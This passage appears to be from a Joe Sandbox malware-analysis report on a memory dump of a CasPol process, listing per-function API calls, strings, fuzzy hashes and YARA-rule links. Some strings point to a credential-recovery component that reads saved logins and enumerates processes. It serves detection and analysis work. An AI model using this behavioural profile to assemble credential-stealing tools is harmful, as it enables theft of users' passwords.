                                                                                                                                                                  • memcpy.MSVCRT(?,00000023,?), ref: 0040930C
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000010), ref: 00409325
                                                                                                                                                                  • memcmp.MSVCRT ref: 0040933B
                                                                                                                                                                  • memcpy.MSVCRT(?,00000015,?), ref: 00409357
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000010), ref: 00409370
                                                                                                                                                                  • memcmp.MSVCRT ref: 00409411
                                                                                                                                                                  • memcmp.MSVCRT ref: 00409429
                                                                                                                                                                  • memcpy.MSVCRT(?,00000023,?), ref: 00409462
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000010), ref: 0040947E
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000020), ref: 0040949A
                                                                                                                                                                  • memcmp.MSVCRT ref: 004094AC
                                                                                                                                                                  • memcpy.MSVCRT(?,00000015,?), ref: 004094D0
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000020), ref: 004094E8
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$memcmp$ByteCharMultiWidememset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3715365532-3916222277
                                                                                                                                                                  • Opcode ID: f920f79086ebd03163bb660580745ba542768fbf6859bbba0dc8aac637b41020
                                                                                                                                                                  • Instruction ID: d5c0d9b4f94ac501fd0f2fb5594fd033b2d13f4c98b4255323c8c53c7695c3f7
                                                                                                                                                                  • Opcode Fuzzy Hash: f920f79086ebd03163bb660580745ba542768fbf6859bbba0dc8aac637b41020
                                                                                                                                                                  • Instruction Fuzzy Hash: DDA1BA71900605ABDB21EF65D885BAFB7BCAF44304F01043FF945E6282EB78EA458B59
                                                                                                                                                                  Function 0040DBA7 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 95COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040DBCD
                                                                                                                                                                  • memset.MSVCRT ref: 0040DBE9
                                                                                                                                                                    • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                                                                                                    • Part of subcall function 004447D9: ??2@YAPAXI@Z.MSVCRT ref: 0044480A
                                                                                                                                                                    • Part of subcall function 004447D9: _snwprintf.MSVCRT ref: 0044488A
                                                                                                                                                                    • Part of subcall function 004447D9: wcscpy.MSVCRT ref: 004448B4
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040DC2D
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040DC3C
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040DC4C
                                                                                                                                                                  • EnumResourceNamesW.KERNEL32(?,00000004,Function_0000D957,00000000), ref: 0040DCB1
                                                                                                                                                                  • EnumResourceNamesW.KERNEL32(?,00000005,Function_0000D957,00000000), ref: 0040DCBB
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040DCC3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wcscpy$EnumNamesResourcememset$??2@FileModuleName_snwprintf
                                                                                                                                                                  • String ID: RTL$TranslatorName$TranslatorURL$Version$general$strings
                                                                                                                                                                  • API String ID: 3330709923-517860148
                                                                                                                                                                  • Opcode ID: 8014600ebdaa413990019ca607550d51b11cce94ae1a09dd3fff3b2e07bb1862
                                                                                                                                                                  • Instruction ID: fd1c33b42c1478e8908a3567a27dc6f764f3595523656020fa754494b197929d
                                                                                                                                                                  • Opcode Fuzzy Hash: 8014600ebdaa413990019ca607550d51b11cce94ae1a09dd3fff3b2e07bb1862
                                                                                                                                                                  • Instruction Fuzzy Hash: 2121ACB2D4021876D720B7929C46ECF7B6CAF41759F010477B90C72083DAB95B98CAAE
                                                                                                                                                                  Function 00407FDF Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 228COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040CC26: GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                                                                                                    • Part of subcall function 0040CC26: CloseHandle.KERNELBASE(?), ref: 0040CC98
                                                                                                                                                                    • Part of subcall function 0040CCF0: _wcsicmp.MSVCRT ref: 0040CD2A
                                                                                                                                                                  • memset.MSVCRT ref: 0040806A
                                                                                                                                                                  • memset.MSVCRT ref: 0040807F
                                                                                                                                                                  • _wtoi.MSVCRT(00000000,00000000,00000136,00000000,00000135,00000000,00000134,00000000,00000133,00000000,00000132,00000000,00000131,00000000,00000130,00000000), ref: 004081AF
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 004081C3
                                                                                                                                                                  • memset.MSVCRT ref: 004081E4
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,0000012E,000000FF,?,000003FF,00000000,00000000,0000012E,00000000,0000012D,?,?,?,?,?), ref: 00408218
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 0040822F
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 00408246
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 0040825D
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 00408274
                                                                                                                                                                    • Part of subcall function 00407FC3: _wtoi64.MSVCRT ref: 00407FC7
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,00000000,00000000,?,?,?,?,?,?), ref: 0040828B
                                                                                                                                                                    • Part of subcall function 00407E1E: memset.MSVCRT ref: 00407E44
                                                                                                                                                                    • Part of subcall function 00407E1E: memset.MSVCRT ref: 00407E5B
                                                                                                                                                                    • Part of subcall function 00407E1E: _mbscpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407E7E
                                                                                                                                                                    • Part of subcall function 00407E1E: _mbscpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407ED7
                                                                                                                                                                    • Part of subcall function 00407E1E: _mbscpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407EEE
                                                                                                                                                                    • Part of subcall function 00407E1E: _mbscpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407F01
                                                                                                                                                                    • Part of subcall function 00407E1E: wcscpy.MSVCRT ref: 00407F10
                                                                                                                                                                    • Part of subcall function 00407E1E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 00407F36
                                                                                                                                                                    • Part of subcall function 00407E1E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 00407F50
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiWide$memset$_mbscpy$_wcsicmp$CloseFileHandleSize_wtoi_wtoi64wcscpy
                                                                                                                                                                  • String ID: logins$null
                                                                                                                                                                  • API String ID: 2148543256-2163367763
                                                                                                                                                                  • Opcode ID: 09a376002f14fa1f9e0d48ac719059c44ef41498ede045729c177772a5669da3
                                                                                                                                                                  • Instruction ID: fdf7b148d119976dec4a4ca0125bd44813aaa3c4ab878784613783167982a03f
                                                                                                                                                                  • Opcode Fuzzy Hash: 09a376002f14fa1f9e0d48ac719059c44ef41498ede045729c177772a5669da3
                                                                                                                                                                  • Instruction Fuzzy Hash: 48713371904219AEEF10BBA2DD82DDF767DEF00318F10457FB508B61C2DA785E458BA9
                                                                                                                                                                  Function 00408560 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 182stringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,00000001,00000000,?,004089ED,?,?,?,0000001E,?,?,00000104), ref: 00408589
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 0040859D
                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                  • memset.MSVCRT ref: 004085CF
                                                                                                                                                                  • memset.MSVCRT ref: 004085F1
                                                                                                                                                                  • memset.MSVCRT ref: 00408606
                                                                                                                                                                  • strcmp.MSVCRT ref: 00408645
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,?,?,?,?), ref: 004086DB
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,?,?,?,?), ref: 004086FA
                                                                                                                                                                  • memset.MSVCRT ref: 0040870E
                                                                                                                                                                  • strcmp.MSVCRT ref: 0040876B
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000001E), ref: 0040879D
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 004087A6
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$File$_mbscpystrcmp$??2@??3@CloseCreateHandleReadSize
                                                                                                                                                                  • String ID: ---
                                                                                                                                                                  • API String ID: 3437578500-2854292027
                                                                                                                                                                  • Opcode ID: c5c02c04611bcd29229c4833ebed6afde2d02892c84083fd30bc2caee93791c4
                                                                                                                                                                  • Instruction ID: 4c5fbc017ddd4a43d5b0f69e9578b2b0908928dff5e121bfcb53d45818d158f6
                                                                                                                                                                  • Opcode Fuzzy Hash: c5c02c04611bcd29229c4833ebed6afde2d02892c84083fd30bc2caee93791c4
                                                                                                                                                                  • Instruction Fuzzy Hash: 256191B2C0421DAADF20DB948D819DEBBBCAB15314F1140FFE558B3141DA399BC4CBA9
                                                                                                                                                                  Function 0041083A Relevance: 21.1, APIs: 14, Instructions: 137windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0041087D
                                                                                                                                                                  • memset.MSVCRT ref: 00410892
                                                                                                                                                                  • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004108A4
                                                                                                                                                                  • SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 004108C2
                                                                                                                                                                  • SendMessageW.USER32(?,00001003,00000001,?), ref: 004108FF
                                                                                                                                                                  • SendMessageW.USER32(?,00001003,00000000,?), ref: 00410936
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 00410951
                                                                                                                                                                  • LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00410963
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 0041096E
                                                                                                                                                                  • LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00410980
                                                                                                                                                                  • GetSysColor.USER32(0000000F), ref: 00410999
                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 004109D0
                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 004109D6
                                                                                                                                                                  • SendMessageW.USER32(00000000,00001208,00000000,?), ref: 004109F3
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: MessageSend$DeleteHandleImageLoadModuleObjectmemset$ColorDirectoryFileInfoWindows
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1010922700-0
                                                                                                                                                                  • Opcode ID: 9f32c972fd3bed260489b92fc8884ca82be835491797332215144efe3993187c
                                                                                                                                                                  • Instruction ID: e9b684d61d60cc1afb152275eb3c8de820581b68aaecd99ee02cab8be193ddee
                                                                                                                                                                  • Opcode Fuzzy Hash: 9f32c972fd3bed260489b92fc8884ca82be835491797332215144efe3993187c
                                                                                                                                                                  • Instruction Fuzzy Hash: 48418575640304BFF720AF61DC8AF97779CFB09744F000829F399A51E1D6F6A8909B29
                                                                                                                                                                  Function 00418680 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                                                                  • GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                                                                                                                                                                  • malloc.MSVCRT ref: 004186B7
                                                                                                                                                                  • free.MSVCRT ref: 004186C7
                                                                                                                                                                  • GetFullPathNameW.KERNEL32(00000000,-00000003,00000000,00000000), ref: 004186DB
                                                                                                                                                                  • free.MSVCRT ref: 004186E0
                                                                                                                                                                  • GetFullPathNameA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186F6
                                                                                                                                                                  • malloc.MSVCRT ref: 004186FE
                                                                                                                                                                  • GetFullPathNameA.KERNEL32(00000000,-00000003,00000000,00000000), ref: 00418711
                                                                                                                                                                  • free.MSVCRT ref: 00418716
                                                                                                                                                                  • free.MSVCRT ref: 0041872A
                                                                                                                                                                  • free.MSVCRT ref: 00418749
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: free$FullNamePath$malloc$Version
                                                                                                                                                                  • String ID: |A
                                                                                                                                                                  • API String ID: 3356672799-1717621600
                                                                                                                                                                  • Opcode ID: b0cf0f28ee59a6f388034fbf15bd1e2dfba9e494de547d4b72c81ace4a10eec1
                                                                                                                                                                  • Instruction ID: f8a1ad7f3386c3a0ca67e8408a701755caa4d882ef8d2f884b3bc60851bd4b4d
                                                                                                                                                                  • Opcode Fuzzy Hash: b0cf0f28ee59a6f388034fbf15bd1e2dfba9e494de547d4b72c81ace4a10eec1
                                                                                                                                                                  • Instruction Fuzzy Hash: F5217432900118BFEF11BFA6DC46CDFBB79DF41368B22006FF804A2161DA799E91995D
                                                                                                                                                                  Function 004125F8 Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 70COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _wcsicmp
                                                                                                                                                                  • String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
                                                                                                                                                                  • API String ID: 2081463915-1959339147
                                                                                                                                                                  • Opcode ID: 28c2ebe8ae336333f434d0f7201133c37a7c95e7bcc6e3a748ef2c38aa05b661
                                                                                                                                                                  • Instruction ID: 8733bd8b557f913067c5021fbfe18d0583d9fd94efe92a6f612d034962822ca0
                                                                                                                                                                  • Opcode Fuzzy Hash: 28c2ebe8ae336333f434d0f7201133c37a7c95e7bcc6e3a748ef2c38aa05b661
                                                                                                                                                                  • Instruction Fuzzy Hash: A401843328931228FA2538663D07F834F48CB52BBBF32405BF800D81C6FE8C4565605E
                                                                                                                                                                  Function 004138C1 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 49libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW,7570CFBC,?,00413396), ref: 004138ED
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004138FE
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 0041390F
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00413920
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 00413931
                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 00413951
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$Library$Load$DirectoryFreeSystemmemsetwcscatwcscpy
                                                                                                                                                                  • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                                                                                                                                                                  • API String ID: 2012295524-70141382
                                                                                                                                                                  • Opcode ID: 041abbf71437061a0f134c3fe1786c70626f7864bc8708fd51d9cd322498a069
                                                                                                                                                                  • Instruction ID: 1ed0e205fb1d3ca6b4a3c81c58fecbd4dea9624ac3f9f6029147382c5f000437
                                                                                                                                                                  • Opcode Fuzzy Hash: 041abbf71437061a0f134c3fe1786c70626f7864bc8708fd51d9cd322498a069
                                                                                                                                                                  • Instruction Fuzzy Hash: 7301B5B1905312DAD7705F31AE40B6B2FA45B81FA7B10003BEA00D1286DBFCC8C5DA6E
                                                                                                                                                                  Function 0041383D Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(kernel32.dll,?,0041339D), ref: 0041384C
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot,7570CFBC), ref: 00413865
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Module32First), ref: 00413876
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00413887
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Process32First), ref: 00413898
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 004138A9
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$HandleModule
                                                                                                                                                                  • String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
                                                                                                                                                                  • API String ID: 667068680-3953557276
                                                                                                                                                                  • Opcode ID: 31f1d1be7c9a4426e09052d790ecb19dd0b8106983b19d46a1984a4086cae070
                                                                                                                                                                  • Instruction ID: ced2a49a11d8a5ad7e856d80fa96ce31c371be68fc2c17877008b9264e9f9212
                                                                                                                                                                  • Opcode Fuzzy Hash: 31f1d1be7c9a4426e09052d790ecb19dd0b8106983b19d46a1984a4086cae070
                                                                                                                                                                  • Instruction Fuzzy Hash: 58F08631900317A9E7206F357D41B672AE45B86F83714017BFC04D12D9DB7CE98A9B6D
                                                                                                                                                                  Function 00412172 Relevance: 19.7, APIs: 13, Instructions: 189windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetDC.USER32(00000000), ref: 004121FF
                                                                                                                                                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041220A
                                                                                                                                                                  • ReleaseDC.USER32(00000000,00000000), ref: 0041221F
                                                                                                                                                                  • SetBkMode.GDI32(?,00000001), ref: 00412232
                                                                                                                                                                  • SetTextColor.GDI32(?,00FF0000), ref: 00412240
                                                                                                                                                                  • SelectObject.GDI32(?,?), ref: 00412251
                                                                                                                                                                  • DrawTextExW.USER32(?,?,000000FF,?,00000024,?), ref: 00412285
                                                                                                                                                                  • SelectObject.GDI32(00000014,00000005), ref: 00412291
                                                                                                                                                                    • Part of subcall function 00411FC6: GetCursorPos.USER32(?), ref: 00411FD0
                                                                                                                                                                    • Part of subcall function 00411FC6: GetSubMenu.USER32(?,00000000), ref: 00411FDE
                                                                                                                                                                    • Part of subcall function 00411FC6: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0041200F
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 004122AC
                                                                                                                                                                  • LoadCursorW.USER32(00000000,00000067), ref: 004122B5
                                                                                                                                                                  • SetCursor.USER32(00000000), ref: 004122BC
                                                                                                                                                                  • PostMessageW.USER32(?,00000428,00000000,00000000), ref: 00412304
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00002008), ref: 0041234D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Cursor$MenuObjectSelectText$CapsColorDeviceDrawHandleLoadMessageModeModulePopupPostReleaseTrackmemcpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1700100422-0
                                                                                                                                                                  • Opcode ID: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                                                                                                                                                                  • Instruction ID: eb413d4c014922f01c1be241ee45634b3e5b5e29cfe5fc1015c733cb557b7a75
                                                                                                                                                                  • Opcode Fuzzy Hash: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                                                                                                                                                                  • Instruction Fuzzy Hash: 0F61D331600109AFDB149F74CE89BEA77A5BB45300F10052AFA25D7291DBBC9CB1DB59
                                                                                                                                                                  Function 004111C1 Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 004111E0
                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 004111F6
                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 0041120C
                                                                                                                                                                  • GetDlgItem.USER32(00000000,0000040D), ref: 00411246
                                                                                                                                                                  • GetWindowRect.USER32(00000000), ref: 0041124D
                                                                                                                                                                  • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0041125D
                                                                                                                                                                  • BeginDeferWindowPos.USER32(00000004), ref: 00411281
                                                                                                                                                                  • DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 004112A4
                                                                                                                                                                  • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 004112C3
                                                                                                                                                                  • DeferWindowPos.USER32(?,?,00000000,00000000,000000DC,?,?,00000004), ref: 004112EE
                                                                                                                                                                  • DeferWindowPos.USER32(?,00000000,00000000,00000000,?,?,000000DC,00000004), ref: 00411306
                                                                                                                                                                  • EndDeferWindowPos.USER32(?), ref: 0041130B
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Window$Defer$Rect$BeginClientItemPoints
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 552707033-0
                                                                                                                                                                  • Opcode ID: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                                                                                                                                                                  • Instruction ID: 1a89c9de14f4e003cb1acc22e2fe5cfe68aec74c13575a54a2aa846d798aa5ff
                                                                                                                                                                  • Opcode Fuzzy Hash: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                                                                                                                                                                  • Instruction Fuzzy Hash: 3B41D375900209FFEB11DFA8DD89FEEBBBAFB48300F104469F655A61A0C771AA50DB14
                                                                                                                                                                  Function 0040C084 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 110stringfileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 0040C0A4
                                                                                                                                                                    • Part of subcall function 0040A32D: SetFilePointer.KERNEL32(0040C2BF,?,00000000,00000000,?,0040C0C5,00000000,00000000,?,00000020,?,0040C255,?,?,*.*,0040C2BF), ref: 0040A33A
                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000), ref: 0040C0D4
                                                                                                                                                                    • Part of subcall function 0040BFF3: _memicmp.MSVCRT ref: 0040C00D
                                                                                                                                                                    • Part of subcall function 0040BFF3: memcpy.MSVCRT(?,?,00000004,00000000,?,?,?,?,?,?,?,?,*.*,0040C2BF,00000000), ref: 0040C024
                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,00000004,00000000,?,?,?,?), ref: 0040C11B
                                                                                                                                                                  • strchr.MSVCRT ref: 0040C140
                                                                                                                                                                  • strchr.MSVCRT ref: 0040C151
                                                                                                                                                                  • _strlwr.MSVCRT ref: 0040C15F
                                                                                                                                                                  • memset.MSVCRT ref: 0040C17A
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040C1C7
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$memcpystrchr$CloseCreateHandlePointerSize_memicmp_strlwrmemset
                                                                                                                                                                  • String ID: 4$h
                                                                                                                                                                  • API String ID: 4066021378-1856150674
                                                                                                                                                                  • Opcode ID: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                                                                                                                                                                  • Instruction ID: ad7b68c589633d756b108d453181f98220e50dbf4ed18f1a1dc8c2c6e1bbf79d
                                                                                                                                                                  • Opcode Fuzzy Hash: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                                                                                                                                                                  • Instruction Fuzzy Hash: F531C2B2800218FEEB20EB54CC85EEE73BCEF05354F14416AF508A6181D7389F558FA9
                                                                                                                                                                  Function 00414621 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
